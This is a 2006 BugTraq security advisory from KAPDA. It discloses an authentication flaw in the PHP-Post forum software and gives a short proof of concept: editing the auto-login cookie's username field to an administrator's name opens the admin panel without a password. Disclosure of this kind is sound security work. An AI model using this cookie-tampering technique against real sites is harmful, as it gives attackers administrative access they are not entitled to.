BugTraq
[KAPDA::#52] - PHP-Post 1.0 Cookie Modification Privilege Escalation Vulnerability Jul 18 2006 02:06PM
farhadkey kapda ir
[KAPDA::#52] - PHP-Post 1.0 Cookie Modification Privilege Escalation Vulnerability

KAPDA New advisory

Vulnerable product: Tested on PHP-Post 0.21 and 1.0

Vendor: http://php-post.co.uk

Vulnerability: Privilege Escalation

Date:

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Found: Nov 23, 2005

Vendor Contacted: Jun 01, 2006

Release Date: July 18, 2006

About PHP-Post:

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Free, full featured php+mysql Forum Management System.

Vulnerability:

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Privilege Escalation:

PHP-Post contains a flaw that may allow a remote attacker to gain administrative privileges.

PHP-Post doesn't properly authenticate remote users if auto login is on!

By editing the values of the cookie, an attacker can change their privilege from a regular user to administrator and submit it back to the site.

Proof of Concepts:

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Cookie: logincookie[pwd]=5a329326344d1d38; logincookie[user]=3nitr0; logincookie[last]=2006-07-07+05%3A24%3A44; logincookie[lastv]=1152264284; post[329]=330

change to:

Cookie: logincookie[pwd]=5a329326344d1d38; logincookie[user]="ADMIN`S USERNAME"; logincookie[last]=2006-07-07+05%3A24%3A44; logincookie[lastv]=1152264284; post[329]=330

refresh the site, go to the admin`s panel without password ;)

Solution:

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No special patch is yet released by vendor but the vendor's website was patched!

Jun 01, 2006: vendor contacted

Jun 03, 2006: vendor replied

* July 18, 2006: public release

Original Advisory:

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http://www.kapda.ir/advisory-380.html

Credit:

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FarhadKey of KAPDA

farhadkey [at} kapda <d0t> net

Kapda - Security Science Researchers Insitute of Iran

http://www.KAPDA.ir

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